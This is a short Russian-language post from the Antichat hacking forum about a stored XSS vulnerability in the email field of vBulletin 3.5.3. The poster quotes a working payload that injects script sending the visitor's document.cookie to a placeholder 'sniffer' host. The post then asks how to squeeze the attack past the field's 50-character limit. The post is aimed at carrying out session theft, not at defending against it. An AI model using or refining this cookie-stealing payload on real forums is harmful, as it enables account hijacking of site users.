vBulletin 3.5.3. Вопрос по XSS в поле email

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
vBulletin 3.5.3. Вопрос по XSS в поле email

vBulletin 3.5.3. Вопрос по XSS в поле email

08.09.2006, 16:42

Постоянный

Регистрация: 17.07.2005

Сообщений: 475

С нами: 10955906

Репутация: 488

vBulletin 3.5.3. Вопрос по XSS в поле email

В этой версии форума в поле mail в профиле, можно провести xss

Цитата:

mail@mail.com”><script>img = new Image(); img.src = "http://сниффер/картинка.jpg?"+document.cookie;</script>.nomatt

Вот, но поле для ввода ограничено 50ти символами, эм.. возникает вопрос: как быть тогда? +)

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home